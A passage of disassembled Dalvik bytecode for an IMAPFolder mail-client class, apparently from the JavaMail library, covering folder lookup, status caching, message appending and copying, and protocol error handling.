000000B6  invoke-direct           IMAPFolder-><init>(ListInfo, IMAPStore)V, v6, v7, v1
000000BC  aput-object             v6, v2, v5
:C0
000000C0  add-int/lit8            v1, v3, 0x1
000000C4  move                    v3, v1
000000C6  goto                    :98
:C8
000000C8  move-exception          v0
000000CA  monitor-exit            p0
000000CC  throw                   v0
          .catchall {:4 .. :1C} :C8
          .catchall {:20 .. :C0} :C8
.end method

.method private findName([ListInfo, String)I
          .registers 6
00000000  const/4                 v1, 0x0
00000002  move                    v0, v1
:4
00000004  array-length            v2, p1
00000006  if-lt                   v0, v2, :12
:A
0000000A  array-length            v2, p1
0000000C  if-lt                   v0, v2, :2C
:10
00000010  return                  v1
:12
00000012  aget-object             v2, p1, v0
00000016  iget-object             v2, v2, ListInfo->name:String
0000001A  invoke-virtual          String->equals(Object)Z, v2, p2
00000020  move-result             v2
00000022  if-nez                  v2, :A
:26
00000026  add-int/lit8            v0, v0, 0x1
0000002A  goto                    :4
:2C
0000002C  move                    v1, v0
0000002E  goto                    :10
.end method

.method private getProtocol()IMAPProtocol
          .registers 2
00000000  sget-boolean            v0, IMAPFolder->$assertionsDisabled:Z
00000004  if-nez                  v0, :24
:8
00000008  iget-object             v0, p0, IMAPFolder->messageCacheLock:Object
0000000C  invoke-static           Thread->holdsLock(Object)Z, v0
00000012  move-result             v0
00000014  if-nez                  v0, :24
:18
00000018  new-instance            v0, AssertionError
0000001C  invoke-direct           AssertionError-><init>()V, v0
00000022  throw                   v0
:24
00000024  invoke-virtual          IMAPFolder->waitIfIdle()V, p0
0000002A  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000002E  return-object           v0
.end method

.method private getStatus()Status
          .registers 8
00000000  const/4                 v1, 0x0
00000002  iget-object             v0, p0, IMAPFolder->store:Store
00000006  check-cast              v0, IMAPStore
0000000A  invoke-virtual          IMAPStore->getStatusCacheTimeout()I, v0
00000010  move-result             v2
00000012  if-lez                  v2, :3C
:16
00000016  iget-object             v0, p0, IMAPFolder->cachedStatus:Status
0000001A  if-eqz                  v0, :3C
:1E
0000001E  invoke-static           System->currentTimeMillis()J
00000024  move-result-wide        v3
00000026  iget-wide               v5, p0, IMAPFolder->cachedStatusTime:J
0000002A  sub-long/2addr          v3, v5
0000002C  int-to-long             v5, v2
0000002E  cmp-long                v0, v3, v5
00000032  if-gez                  v0, :3C
:36
00000036  iget-object             v0, p0, IMAPFolder->cachedStatus:Status
:3A
0000003A  return-object           v0
:3C
0000003C  invoke-virtual          IMAPFolder->getStoreProtocol()IMAPProtocol, p0
00000042  move-result-object      v1
00000044  iget-object             v0, p0, IMAPFolder->fullName:String
00000048  const/4                 v3, 0x0
0000004A  invoke-virtual          IMAPProtocol->status(String, [String)Status, v1, v0, v3
00000050  move-result-object      v0
00000052  if-lez                  v2, :66
:56
00000056  iput-object             v0, p0, IMAPFolder->cachedStatus:Status
0000005A  invoke-static           System->currentTimeMillis()J
00000060  move-result-wide        v2
00000062  iput-wide               v2, p0, IMAPFolder->cachedStatusTime:J
:66
00000066  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000006C  goto                    :3A
:6E
0000006E  move-exception          v0
00000070  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000076  throw                   v0
          .catchall {:3C .. :66} :6E
.end method

.method private isDirectory()Z
          .registers 2
00000000  iget                    v0, p0, IMAPFolder->type:I
00000004  and-int/lit8            v0, v0, 0x2
00000008  if-eqz                  v0, :10
:C
0000000C  const/4                 v0, 0x1
:E
0000000E  return                  v0
:10
00000010  const/4                 v0, 0x0
00000012  goto                    :E
.end method

.method private keepConnectionAlive(Z)V
          .registers 10
00000000  const-wide/16           v6, 0x3E8
00000004  invoke-static           System->currentTimeMillis()J
0000000A  move-result-wide        v0
0000000C  iget-object             v2, p0, IMAPFolder->protocol:IMAPProtocol
00000010  invoke-virtual          IMAPProtocol->getTimestamp()J, v2
00000016  move-result-wide        v2
00000018  sub-long/2addr          v0, v2
0000001A  cmp-long                v0, v0, v6
0000001E  if-lez                  v0, :32
:22
00000022  invoke-virtual          IMAPFolder->waitIfIdle()V, p0
00000028  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000002C  invoke-virtual          IMAPProtocol->noop()V, v0
:32
00000032  if-eqz                  p1, :8A
:36
00000036  iget-object             v0, p0, IMAPFolder->store:Store
0000003A  check-cast              v0, IMAPStore
0000003E  invoke-virtual          IMAPStore->hasSeparateStoreConnection()Z, v0
00000044  move-result             v0
00000046  if-eqz                  v0, :8A
:4A
0000004A  const/4                 v1, 0x0
:4C
0000004C  iget-object             v0, p0, IMAPFolder->store:Store
00000050  check-cast              v0, IMAPStore
00000054  invoke-virtual          IMAPStore->getStoreProtocol()IMAPProtocol, v0
:5A
0000005A  move-result-object      v1
:5C
0000005C  invoke-static           System->currentTimeMillis()J
00000062  move-result-wide        v2
00000064  invoke-virtual          IMAPProtocol->getTimestamp()J, v1
0000006A  move-result-wide        v4
0000006C  sub-long/2addr          v2, v4
0000006E  cmp-long                v0, v2, v6
00000072  if-lez                  v0, :7C
:76
00000076  invoke-virtual          IMAPProtocol->noop()V, v1
:7C
0000007C  iget-object             v0, p0, IMAPFolder->store:Store
00000080  check-cast              v0, IMAPStore
00000084  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, v0, v1
:8A
0000008A  return-void
:8C
0000008C  move-exception          v0
0000008E  move-object             v2, v1
00000090  move-object             v1, v0
:92
00000092  iget-object             v0, p0, IMAPFolder->store:Store
00000096  check-cast              v0, IMAPStore
0000009A  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, v0, v2
000000A0  throw                   v1
:A2
000000A2  move-exception          v0
000000A4  move-object             v2, v1
000000A6  move-object             v1, v0
000000A8  goto                    :92
          .catchall {:4C .. :5A} :8C
          .catchall {:5C .. :7C} :A2
.end method

.method private releaseProtocol(Z)V
          .registers 4
00000000  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000004  if-eqz                  v0, :28
:8
00000008  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000000C  invoke-virtual          IMAPProtocol->removeResponseHandler(ResponseHandler)V, v0, p0
00000012  if-eqz                  p1, :2A
:16
00000016  iget-object             v0, p0, IMAPFolder->store:Store
0000001A  check-cast              v0, IMAPStore
0000001E  iget-object             v1, p0, IMAPFolder->protocol:IMAPProtocol
00000022  invoke-virtual          IMAPStore->releaseProtocol(IMAPFolder, IMAPProtocol)V, v0, p0, v1
:28
00000028  return-void
:2A
0000002A  iget-object             v0, p0, IMAPFolder->store:Store
0000002E  check-cast              v0, IMAPStore
00000032  const/4                 v1, 0x0
00000034  invoke-virtual          IMAPStore->releaseProtocol(IMAPFolder, IMAPProtocol)V, v0, p0, v1
0000003A  goto                    :28
.end method

.method private setACL(ACL, C)V
          .registers 5
00000000  const-string            v0, "ACL not supported"
00000004  new-instance            v1, IMAPFolder$18
00000008  invoke-direct           IMAPFolder$18-><init>(IMAPFolder, C, ACL)V, v1, p0, p2, p1
0000000E  invoke-virtual          IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014  return-void
.end method

.method private declared-synchronized throwClosedException(ConnectionException)V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000006  if-eqz                  v0, :1A
:A
0000000A  invoke-virtual          ConnectionException->getProtocol()Protocol, p1
00000010  move-result-object      v0
00000012  iget-object             v1, p0, IMAPFolder->protocol:IMAPProtocol
00000016  if-eq                   v0, v1, :2A
:1A
0000001A  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000001E  if-nez                  v0, :44
:22
00000022  iget-boolean            v0, p0, IMAPFolder->reallyClosed:Z
00000026  if-nez                  v0, :44
:2A
0000002A  new-instance            v0, FolderClosedException
0000002E  invoke-virtual          ConnectionException->getMessage()String, p1
00000034  move-result-object      v1
00000036  invoke-direct           FolderClosedException-><init>(Folder, String)V, v0, p0, v1
0000003C  throw                   v0
:3E
0000003E  move-exception          v0
00000040  monitor-exit            p0
00000042  throw                   v0
:44
00000044  new-instance            v0, StoreClosedException
00000048  iget-object             v1, p0, IMAPFolder->store:Store
0000004C  invoke-virtual          ConnectionException->getMessage()String, p1
00000052  move-result-object      v2
00000054  invoke-direct           StoreClosedException-><init>(Store, String)V, v0, v1, v2
0000005A  throw                   v0
          .catchall {:2 .. :3E} :3E
          .catchall {:44 .. :5C} :3E
.end method

.method public addACL(ACL)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           IMAPFolder->setACL(ACL, C)V, p0, p1, v0
00000008  return-void
.end method

.method public declared-synchronized addMessages([Message)[Message
          .registers 10
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPFolder->checkOpened()V, p0
00000008  array-length            v0, p1
0000000A  new-array               v1, v0, [MimeMessage
0000000E  invoke-virtual          IMAPFolder->appendUIDMessages([Message)[AppendUID, p0, p1
00000014  move-result-object      v2
00000016  const/4                 v0, 0x0
:18
00000018  array-length            v3, v2
:1A
0000001A  if-lt                   v0, v3, :22
:1E
0000001E  monitor-exit            p0
00000020  return-object           v1
:22
00000022  aget-object             v3, v2, v0
00000026  if-eqz                  v3, :4A
:2A
0000002A  iget-wide               v4, v3, AppendUID->uidvalidity:J
0000002E  iget-wide               v6, p0, IMAPFolder->uidvalidity:J
:32
00000032  cmp-long                v4, v4, v6
00000036  if-nez                  v4, :4A
:3A
0000003A  iget-wide               v3, v3, AppendUID->uid:J
0000003E  invoke-virtual          IMAPFolder->getMessageByUID(J)Message, p0, v3, v4
00000044  move-result-object      v3
00000046  aput-object             v3, v1, v0
:4A
0000004A  add-int/lit8            v0, v0, 0x1
0000004E  goto                    :18
:50
00000050  move-exception          v0
00000052  monitor-exit            p0
00000054  throw                   v0
:56
00000056  move-exception          v3
00000058  goto                    :4A
          .catchall {:2 .. :1A} :50
          .catchall {:22 .. :32} :50
          .catch MessagingException {:3A .. :4A} :56
          .catchall {:3A .. :4A} :50
.end method

.method public addRights(ACL)V
          .registers 3
00000000  const/16                v0, 0x2B
00000004  invoke-direct           IMAPFolder->setACL(ACL, C)V, p0, p1, v0
0000000A  return-void
.end method

.method public declared-synchronized appendMessages([Message)V
          .registers 9
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-direct           IMAPFolder->checkExists()V, p0
0000000A  iget-object             v0, p0, IMAPFolder->store:Store
0000000E  check-cast              v0, IMAPStore
00000012  invoke-virtual          IMAPStore->getAppendBufferSize()I, v0
00000018  move-result             v2
0000001A  move                    v3, v1
:1C
0000001C  array-length            v0, p1
:1E
0000001E  if-lt                   v3, v0, :26
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  aget-object             v4, p1, v3
:2A
0000002A  new-instance            v5, MessageLiteral
0000002E  invoke-virtual          Message->getSize()I, v4
00000034  move-result             v0
00000036  if-le                   v0, v2, :76
:3A
0000003A  move                    v0, v1
:3C
0000003C  invoke-direct           MessageLiteral-><init>(Message, I)V, v5, v4, v0
:42
00000042  invoke-virtual          Message->getReceivedDate()Date, v4
00000048  move-result-object      v0
0000004A  if-nez                  v0, :56
:4E
0000004E  invoke-virtual          Message->getSentDate()Date, v4
00000054  move-result-object      v0
:56
00000056  invoke-virtual          Message->getFlags()Flags, v4
0000005C  move-result-object      v4
0000005E  new-instance            v6, IMAPFolder$10
00000062  invoke-direct           IMAPFolder$10-><init>(IMAPFolder, Flags, Date, MessageLiteral)V, v6, p0, v4, v0, v5
00000068  invoke-virtual          IMAPFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v6
:6E
0000006E  add-int/lit8            v0, v3, 0x1
00000072  move                    v3, v0
00000074  goto                    :1C
:76
00000076  move                    v0, v2
00000078  goto                    :3C
:7A
0000007A  move-exception          v0
0000007C  new-instance            v1, MessagingException
00000080  const-string            v2, "IOException while appending messages"
00000084  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000008A  throw                   v1
:8C
0000008C  move-exception          v0
0000008E  monitor-exit            p0
00000090  throw                   v0
:92
00000092  move-exception          v0
00000094  goto                    :6E
          .catchall {:4 .. :1E} :8C
          .catchall {:26 .. :2A} :8C
          .catch IOException {:2A .. :42} :7A
          .catch MessageRemovedException {:2A .. :42} :92
          .catchall {:2A .. :42} :8C
          .catchall {:42 .. :8C} :8C
.end method

.method public declared-synchronized appendUIDMessages([Message)[AppendUID
          .registers 10
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-direct           IMAPFolder->checkExists()V, p0
0000000A  iget-object             v0, p0, IMAPFolder->store:Store
0000000E  check-cast              v0, IMAPStore
00000012  invoke-virtual          IMAPStore->getAppendBufferSize()I, v0
00000018  move-result             v2
0000001A  array-length            v0, p1
0000001C  new-array               v4, v0, [AppendUID
00000020  move                    v3, v1
:22
00000022  array-length            v0, p1
:24
00000024  if-lt                   v3, v0, :2C
:28
00000028  monitor-exit            p0
0000002A  return-object           v4
:2C
0000002C  aget-object             v5, p1, v3
:30
00000030  new-instance            v6, MessageLiteral
00000034  invoke-virtual          Message->getSize()I, v5
0000003A  move-result             v0
0000003C  if-le                   v0, v2, :86
:40
00000040  move                    v0, v1
:42
00000042  invoke-direct           MessageLiteral-><init>(Message, I)V, v6, v5, v0
:48
00000048  invoke-virtual          Message->getReceivedDate()Date, v5
0000004E  move-result-object      v0
00000050  if-nez                  v0, :5C
:54
00000054  invoke-virtual          Message->getSentDate()Date, v5
0000005A  move-result-object      v0
:5C
0000005C  invoke-virtual          Message->getFlags()Flags, v5
00000062  move-result-object      v5
00000064  new-instance            v7, IMAPFolder$11
00000068  invoke-direct           IMAPFolder$11-><init>(IMAPFolder, Flags, Date, MessageLiteral)V, v7, p0, v5, v0, v6
0000006E  invoke-virtual          IMAPFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v7
00000074  move-result-object      v0
00000076  check-cast              v0, AppendUID
0000007A  aput-object             v0, v4, v3
:7E
0000007E  add-int/lit8            v0, v3, 0x1
00000082  move                    v3, v0
00000084  goto                    :22
:86
00000086  move                    v0, v2
00000088  goto                    :42
:8A
0000008A  move-exception          v0
0000008C  new-instance            v1, MessagingException
00000090  const-string            v2, "IOException while appending messages"
00000094  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000009A  throw                   v1
:9C
0000009C  move-exception          v0
0000009E  monitor-exit            p0
000000A0  throw                   v0
:A2
000000A2  move-exception          v0
000000A4  goto                    :7E
          .catchall {:4 .. :24} :9C
          .catchall {:2C .. :30} :9C
          .catch IOException {:30 .. :48} :8A
          .catch MessageRemovedException {:30 .. :48} :A2
          .catchall {:30 .. :48} :9C
          .catchall {:48 .. :9C} :9C
.end method

.method public declared-synchronized close(Z)V
          .registers 3
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
:4
00000004  invoke-direct           IMAPFolder->close(Z, Z)V, p0, p1, v0
:A
0000000A  monitor-exit            p0
0000000C  return-void
:E
0000000E  move-exception          v0
00000010  monitor-exit            p0
00000012  throw                   v0
          .catchall {:4 .. :A} :E
.end method

.method public declared-synchronized copyMessages([Message, Folder)V
          .registers 7
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPFolder->checkOpened()V, p0
00000008  array-length            v0, p1
:A
0000000A  if-nez                  v0, :12
:E
0000000E  monitor-exit            p0
00000010  return-void
:12
00000012  invoke-virtual          Folder->getStore()Store, p2
00000018  move-result-object      v0
0000001A  iget-object             v1, p0, IMAPFolder->store:Store
0000001E  if-ne                   v0, v1, :102
:22
00000022  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
00000026  monitor-enter           v1
:28
00000028  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
0000002E  move-result-object      v0
00000030  const/4                 v2, 0x0
00000032  invoke-static           Utility->toMessageSet([Message, Utility$Condition)[MessageSet, p1, v2
00000038  move-result-object      v2
0000003A  if-nez                  v2, :B0
:3E
0000003E  new-instance            v0, MessageRemovedException
00000042  const-string            v2, "Messages have been removed"
00000046  invoke-direct           MessageRemovedException-><init>(String)V, v0, v2
0000004C  throw                   v0
:4E
0000004E  move-exception          v0
:50
00000050  invoke-virtual          CommandFailedException->getMessage()String, v0
00000056  move-result-object      v2
00000058  const-string            v3, "TRYCREATE"
0000005C  invoke-virtual          String->indexOf(String)I, v2, v3
00000062  move-result             v2
00000064  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000066  if-eq                   v2, v3, :C2
:6A
0000006A  new-instance            v0, FolderNotFoundException
0000006E  new-instance            v2, StringBuilder
00000072  invoke-virtual          Folder->getFullName()String, p2
00000078  move-result-object      v3
0000007A  invoke-static           String->valueOf(Object)String, v3
00000080  move-result-object      v3
00000082  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000088  const-string            v3, " does not exist"
0000008C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000092  move-result-object      v2
00000094  invoke-virtual          StringBuilder->toString()String, v2
0000009A  move-result-object      v2
0000009C  invoke-direct           FolderNotFoundException-><init>(Folder, String)V, v0, p2, v2
000000A2  throw                   v0
:A4
000000A4  move-exception          v0
000000A6  monitor-exit            v1
:A8
000000A8  throw                   v0
:AA
000000AA  move-exception          v0
000000AC  monitor-exit            p0
000000AE  throw                   v0
:B0
000000B0  invoke-virtual          Folder->getFullName()String, p2
000000B6  move-result-object      v3
000000B8  invoke-virtual          IMAPProtocol->copy([MessageSet, String)V, v0, v2, v3
:BE
000000BE  monitor-exit            v1
000000C0  goto                    :E
:C2
000000C2  new-instance            v2, MessagingException
000000C6  invoke-virtual          CommandFailedException->getMessage()String, v0
000000CC  move-result-object      v3
000000CE  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
000000D4  throw                   v2
:D6
000000D6  move-exception          v0
000000D8  new-instance            v2, FolderClosedException
000000DC  invoke-virtual          ConnectionException->getMessage()String, v0
000000E2  move-result-object      v0
000000E4  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, p0, v0
000000EA  throw                   v2
:EC
000000EC  move-exception          v0
000000EE  new-instance            v2, MessagingException
000000F2  invoke-virtual          ProtocolException->getMessage()String, v0
000000F8  move-result-object      v3
000000FA  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000100  throw                   v2
:102
00000102  invoke-super            Folder->copyMessages([Message, Folder)V, p0, p1, p2
:108
00000108  goto                    :E
          .catchall {:2 .. :A} :AA
          .catchall {:12 .. :28} :AA
          .catch CommandFailedException {:28 .. :4E} :4E
          .catch ConnectionException {:28 .. :4E} :D6
          .catch ProtocolException {:28 .. :4E} :EC
          .catchall {:28 .. :4E} :A4
          .catchall {:50 .. :A8} :A4
          .catchall {:A8 .. :AA} :AA
          .catch CommandFailedException {:B0 .. :BE} :4E
          .catch ConnectionException {:B0 .. :BE} :D6
          .catch ProtocolException {:B0 .. :BE} :EC
          .catchall {:B0 .. :BE} :A4
          .catchall {:BE .. :102} :A4
          .catchall {:102 .. :108} :AA
.end method

.method public declared-synchronized create(I)Z
          .registers 5
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
00000004  and-int/lit8            v1, p1, 0x1
00000008  if-nez                  v1, :4A
:C
0000000C  invoke-virtual          IMAPFolder->getSeparator()C, p0
00000012  move-result             v1
:14
00000014  new-instance            v2, IMAPFolder$6
00000018  invoke-direct           IMAPFolder$6-><init>(IMAPFolder, I, C)V, v2, p0, p1, v1
0000001E  invoke-virtual          IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v2
:24
00000024  move-result-object      v1
00000026  if-nez                  v1, :2E
:2A
0000002A  monitor-exit            p0
0000002C  return                  v0
:2E
0000002E  invoke-virtual          IMAPFolder->exists()Z, p0
00000034  move-result             v0
00000036  if-eqz                  v0, :2A
:3A
0000003A  const/4                 v1, 0x1
0000003C  invoke-virtual          IMAPFolder->notifyFolderListeners(I)V, p0, v1
:42
00000042  goto                    :2A
:44
00000044  move-exception          v0
00000046  monitor-exit            p0
00000048  throw                   v0
:4A
0000004A  move                    v1, v0
0000004C  goto                    :14
          .catchall {:C .. :24} :44
          .catchall {:2E .. :42} :44
.end method

.method public declared-synchronized delete(Z)Z
          .registers 6
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-direct           IMAPFolder->checkClosed()V, p0
0000000A  if-eqz                  p1, :1E
:E
0000000E  invoke-virtual          IMAPFolder->list()[Folder, p0
00000014  move-result-object      v2
00000016  move                    v1, v0
:18
00000018  array-length            v3, v2
0000001A  if-lt                   v1, v3, :38
:1E
0000001E  new-instance            v1, IMAPFolder$8
00000022  invoke-direct           IMAPFolder$8-><init>(IMAPFolder)V, v1, p0
00000028  invoke-virtual          IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v1
:2E
0000002E  move-result-object      v1
00000030  if-nez                  v1, :48
:34
00000034  monitor-exit            p0
00000036  return                  v0
:38
00000038  aget-object             v3, v2, v1
0000003C  invoke-virtual          Folder->delete(Z)Z, v3, p1
00000042  add-int/lit8            v1, v1, 0x1
00000046  goto                    :18
:48
00000048  const/4                 v0, 0x0
0000004A  iput-boolean            v0, p0, IMAPFolder->exists:Z
0000004E  const/4                 v0, 0x0
00000050  iput-object             v0, p0, IMAPFolder->attributes:[String
00000054  const/4                 v0, 0x2
00000056  invoke-virtual          IMAPFolder->notifyFolderListeners(I)V, p0, v0
:5C
0000005C  const/4                 v0, 0x1
0000005E  goto                    :34
:60
00000060  move-exception          v0
00000062  monitor-exit            p0
00000064  throw                   v0
          .catchall {:4 .. :2E} :60
          .catchall {:38 .. :5C} :60
.end method

.method public doCommand(IMAPFolder$ProtocolCommand)Object
          .registers 5
00000000  invoke-virtual          IMAPFolder->doProtocolCommand(IMAPFolder$ProtocolCommand)Object, p0, p1
00000006  move-result-object      v0
:8
00000008  return-object           v0
:A
0000000A  move-exception          v0
0000000C  invoke-direct           IMAPFolder->throwClosedException(ConnectionException)V, p0, v0
00000012  const/4                 v0, 0x0
00000014  goto                    :8
:16
00000016  move-exception          v0
00000018  new-instance            v1, MessagingException
0000001C  invoke-virtual          ProtocolException->getMessage()String, v0
00000022  move-result-object      v2
00000024  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000002A  throw                   v1
          .catch ConnectionException {:0 .. :6} :A
          .catch ProtocolException {:0 .. :6} :16
.end method

.method public doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object
          .registers 5
00000000  const/4                 v0, 0x0
:2
00000002  invoke-virtual          IMAPFolder->doProtocolCommand(IMAPFolder$ProtocolCommand)Object, p0, p1
:8
00000008  move-result-object      v0
:A
0000000A  return-object           v0
:C
0000000C  move-exception          v1
0000000E  invoke-direct           IMAPFolder->throwClosedException(ConnectionException)V, p0, v1
00000014  goto                    :A
:16
00000016  move-exception          v0
00000018  new-instance            v1, MessagingException
0000001C  invoke-virtual          ProtocolException->getMessage()String, v0
00000022  move-result-object      v2
00000024  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000002A  throw                   v1
:2C
0000002C  move-exception          v1
0000002E  goto                    :A
          .catch CommandFailedException {:2 .. :8} :2C
          .catch ConnectionException {:2 .. :8} :C
          .catch ProtocolException {:2 .. :8} :16
.end method

.method public doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object
          .registers 6
00000000  invoke-virtual          IMAPFolder->doProtocolCommand(IMAPFolder$ProtocolCommand)Object, p0, p2
00000006  move-result-object      v0
:8
00000008  return-object           v0
:A
0000000A  move-exception          v0
0000000C  new-instance            v1, MessagingException
00000010  invoke-direct           MessagingException-><init>(String, Exception)V, v1, p1, v0
00000016  throw                   v1
:18
00000018  move-exception          v0
0000001A  invoke-direct           IMAPFolder->throwClosedException(ConnectionException)V, p0, v0
00000020  const/4                 v0, 0x0
00000022  goto                    :8
:24
00000024  move-exception          v0
00000026  new-instance            v1, MessagingException
0000002A  invoke-virtual          ProtocolException->getMessage()String, v0
00000030  move-result-object      v2
00000032  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000038  throw                   v1
          .catch BadCommandException {:0 .. :6} :A
          .catch ConnectionException {:0 .. :6} :18
          .catch ProtocolException {:0 .. :6} :24
.end method

.method protected doProtocolCommand(IMAPFolder$ProtocolCommand)Object
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPFolder->opened:Z
00000006  if-eqz                  v0, :46
:A
0000000A  iget-object             v0, p0, IMAPFolder->store:Store
0000000E  check-cast              v0, IMAPStore
00000012  invoke-virtual          IMAPStore->hasSeparateStoreConnection()Z, v0
00000018  move-result             v0
0000001A  if-nez                  v0, :46
:1E
0000001E  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
00000022  monitor-enter           v1
:24
00000024  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
0000002A  move-result-object      v0
0000002C  invoke-interface        IMAPFolder$ProtocolCommand->doCommand(IMAPProtocol)Object, p1, v0
00000032  move-result-object      v0
00000034  monitor-exit            v1
:36
00000036  monitor-exit            p0
:38
00000038  return-object           v0
:3A
0000003A  move-exception          v0
:3C
0000003C  monitor-exit            v1
:3E
0000003E  throw                   v0
:40
00000040  move-exception          v0
00000042  monitor-exit            p0
:44
00000044  throw                   v0
:46
00000046  monitor-exit            p0
:48
00000048  const/4                 v1, 0x0
:4A
0000004A  invoke-virtual          IMAPFolder->getStoreProtocol()IMAPProtocol, p0
00000050  move-result-object      v1
00000052  invoke-interface        IMAPFolder$ProtocolCommand->doCommand(IMAPProtocol)Object, p1, v1
:58
00000058  move-result-object      v0
0000005A  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000060  goto                    :38
:62
00000062  move-exception          v0
00000064  invoke-virtual          IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000006A  throw                   v0
          .catchall {:2 .. :24} :40
          .catchall {:24 .. :36} :3A
          .catchall {:36 .. :38} :40
          .catchall {:3C .. :3E} :3A
          .catchall {:3E .. :44} :40
          .catchall {:46 .. :48} :40
          .catchall {:4A .. :58} :62
.end method

.method public declared-synchronized exists()Z
          .registers 6
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
:4
00000004  check-cast              v0, [ListInfo
00000008  iget-boolean            v0, p0, IMAPFolder->isNamespace:Z
0000000C  if-eqz                  v0, :114
:10
00000010  iget-char               v0, p0, IMAPFolder->separator:C
00000014  if-eqz                  v0, :114
:18
00000018  new-instance            v0, StringBuilder
0000001C  iget-object             v1, p0, IMAPFolder->fullName:String
00000020  invoke-static           String->valueOf(Object)String, v1
00000026  move-result-object      v1
00000028  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000002E  iget-char               v1, p0, IMAPFolder->separator:C
00000032  invoke-virtual          StringBuilder->append(C)StringBuilder, v0, v1
00000038  move-result-object      v0
0000003A  invoke-virtual          StringBuilder->toString()String, v0
00000040  move-result-object      v0
00000042  move-object             v1, v0
:44
00000044  new-instance            v0, IMAPFolder$1
00000048  invoke-direct           IMAPFolder$1-><init>(IMAPFolder, String)V, v0, p0, v1
0000004E  invoke-virtual          IMAPFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v0
00000054  move-result-object      v0
00000056  check-cast              v0, [ListInfo
0000005A  if-eqz                  v0, :11C
:5E
0000005E  invoke-direct           IMAPFolder->findName([ListInfo, String)I, p0, v0, v1
00000064  move-result             v1
00000066  aget-object             v2, v0, v1
0000006A  iget-object             v2, v2, ListInfo->name:String
0000006E  iput-object             v2, p0, IMAPFolder->fullName:String
00000072  aget-object             v2, v0, v1
00000076  iget-char               v2, v2, ListInfo->separator:C
0000007A  iput-char               v2, p0, IMAPFolder->separator:C
0000007E  iget-object             v2, p0, IMAPFolder->fullName:String
00000082  invoke-virtual          String->length()I, v2
00000088  move-result             v2
0000008A  iget-char               v3, p0, IMAPFolder->separator:C
0000008E  if-eqz                  v3, :C4
:92
00000092  if-lez                  v2, :C4
:96
00000096  iget-object             v3, p0, IMAPFolder->fullName:String
0000009A  add-int/lit8            v4, v2, 0xFFFFFFFFFFFFFFFF
0000009E  invoke-virtual          String->charAt(I)C, v3, v4
000000A4  move-result             v3
000000A6  iget-char               v4, p0, IMAPFolder->separator:C
000000AA  if-ne                   v3, v4, :C4
:AE
000000AE  iget-object             v3, p0, IMAPFolder->fullName:String
000000B2  const/4                 v4, 0x0
000000B4  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
000000B8  invoke-virtual          String->substring(I, I)String, v3, v4, v2
000000BE  move-result-object      v2
000000C0  iput-object             v2, p0, IMAPFolder->fullName:String
:C4
000000C4  const/4                 v2, 0x0
000000C6  iput                    v2, p0, IMAPFolder->type:I
000000CA  aget-object             v2, v0, v1
000000CE  iget-boolean            v2, v2, ListInfo->hasInferiors:Z
000000D2  if-eqz                  v2, :E2
:D6
000000D6  iget                    v2, p0, IMAPFolder->type:I
000000DA  or-int/lit8             v2, v2, 0x2
000000DE  iput                    v2, p0, IMAPFolder->type:I
:E2
000000E2  aget-object             v2, v0, v1
000000E6  iget-boolean            v2, v2, ListInfo->canOpen:Z
000000EA  if-eqz                  v2, :FA
:EE
000000EE  iget                    v2, p0, IMAPFolder->type:I
000000F2  or-int/lit8             v2, v2, 0x1
000000F6  iput                    v2, p0, IMAPFolder->type:I
:FA
000000FA  const/4                 v2, 0x1
000000FC  iput-boolean            v2, p0, IMAPFolder->exists:Z
00000100  aget-object             v0, v0, v1
00000104  iget-object             v0, v0, ListInfo->attrs:[String
